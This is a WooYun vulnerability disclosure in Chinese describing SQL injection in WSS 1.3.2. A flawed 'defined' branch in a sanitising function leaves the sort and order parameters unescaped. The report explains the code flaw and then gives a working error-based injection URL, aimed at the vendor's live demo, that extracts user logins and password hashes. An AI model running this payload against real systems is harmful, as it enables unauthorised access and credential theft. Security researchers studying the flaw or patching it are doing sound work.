当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-084151

漏洞标题:WSS最新版多处SQL注入直接获取数据三(官方demo演示及快速定位漏洞技巧)

相关厂商:WSS Lab

漏洞作者: xfkxfk

提交时间:2014-11-21 17:58

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-21: 细节已通知厂商并且等待厂商处理中
2014-11-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-20: 细节向核心白帽子及相关领域专家公开
2015-01-30: 细节向普通白帽子公开
2015-02-09: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

WSS最新版多处SQL注入直接获取数据三,官方demo演示,这里存在多处,对同一问题进行总结

详细说明:

WSS最新版1.3.2,这里存在多处,并对此同一问题进行总结,以及快速查找同一问题全部漏洞

这里的漏洞没有任何权限限制,任何用户都能进行注入


漏洞分析:
WooYun: WSS最新版某处SQL注入直接获取数据二(两处)
WSS最新版某处SQL注入直接获取数据二(两处)
这个漏洞之前已经降到了漏洞的过程
因为全局过滤函数设计缺陷导致sql注入

if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
{
if (PHP_VERSION < 6) {
$theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
}
$theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
switch ($theType) {
case "text":
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
break;
case "long":
case "int":
$theValue = ($theValue != "") ? intval($theValue) : "NULL";
break;
case "double":
$theValue = ($theValue != "") ? doubleval($theValue) : "NULL";
break;
case "date":
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
break;
case "defined":
$theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
break;
}
return $theValue;
}
}


看这里

case "defined":
$theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;


如果进到这里的话,就等于没有进行任何处理,然后返回了相应数据
恰恰在程序里面很大地方都使用了这里的defined值,导致过滤无效
漏洞定位:
我们全局搜索:

"defined",


得到6处存在漏洞的地方:

3.png


default_user.php上一个漏洞已经详细分析过了
这里我们看看control_project.php和control_task.php
以control_task.php为例:

......
$sortlist = "csa_last_update";
if (isset($_GET['sort'])) {
$sortlist = $_GET['sort'];
}
$orderlist = "DESC";
if (isset($_GET['order'])) {
$orderlist= $_GET['order'];
}
......
$query_Recordset1 = sprintf("SELECT *,

tk_project.project_name as project_name_prt,
tk_user1.tk_display_name as tk_display_name1,
tk_user2.tk_display_name as tk_display_name2

FROM tk_task
inner join tk_task_tpye on tk_task.csa_type=tk_task_tpye.id
inner join tk_project on tk_task.csa_project=tk_project.id

inner join tk_user as tk_user1 on tk_task.csa_to_user=tk_user1.uid
inner join tk_user as tk_user2 on tk_task.csa_from_user=tk_user2.uid

inner join tk_status on tk_task.csa_remark2=tk_status.id

$where
(tk_task.csa_plan_st <=%s
AND tk_task.csa_plan_et >=%s
OR tk_task.csa_plan_st <=%s
AND tk_task.csa_plan_et >=%s
OR tk_task.csa_plan_st >=%s
AND tk_task.csa_plan_et <=%s)

ORDER BY %s %s",

GetSQLValueString($startday , "text"),
GetSQLValueString($startday , "text"),
GetSQLValueString($endday , "text"),
GetSQLValueString($endday , "text"),
GetSQLValueString($startday , "text"),
GetSQLValueString($endday , "text"),
GetSQLValueString($sortlist, "defined", $sortlist, "NULL"),
GetSQLValueString($orderlist, "defined", $orderlist, "NULL")
);
$query_limit_Recordset1 = sprintf("%s LIMIT %d, %d", $query_Recordset1, $startRow_Recordset1, $maxRows_Recordset1);
$Recordset1 = mysql_query($query_limit_Recordset1, $tankdb) or die(mysql_error());
$row_Recordset1 = mysql_fetch_assoc($Recordset1);


漏洞原理跟上一个漏洞一致
都是sort和order参数进入GetSQLValueString函数后,使用了defined类型,导致过滤失效
这里直接访问control_project.php和control_task.php是不行的,会报错
且这里存在绝对路径泄露:

4.png


那么肯定是在其他地方调用了
我们继续全局搜索:

control_project


在/project.php调用:

<div class="pagemargin">
<?php require('control_project.php'); ?>
</div>


继续搜索

control_task


在/index.php调用:

<div class="pagemargin">
<?php require('control_task.php'); ?>
</div>


因为在index.php和project.php页面,且control_project.php和control_task.php没有权限限制,全部用户都有权限访问
下面我们在官方demo测试

漏洞证明:

官方demo是最新正式版1.3.2

http://wssys.sinaapp.com/project.php?sort=uid%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(0x23,tk_user_login,0x23,tk_user_pass)%20from%20tk_user%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)%23&order=222222%27


2.png


http://wssys.sinaapp.com/project.php?sort=uid%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),(select%20concat(0x23,tk_user_login,0x23,tk_user_pass)%20from%20tk_user%20limit%200,1))a%20from%20information_schema.tables%20group%20by%20a)b)%23&order=222222%27


1.png

修复方案:

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-11-21 18:26 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前来学习技巧

  2. 2014-11-22 11:54 | sco4x0 ( 实习白帽子 | Rank:31 漏洞数:13 | O_o)

    mark一下,学习大湿技巧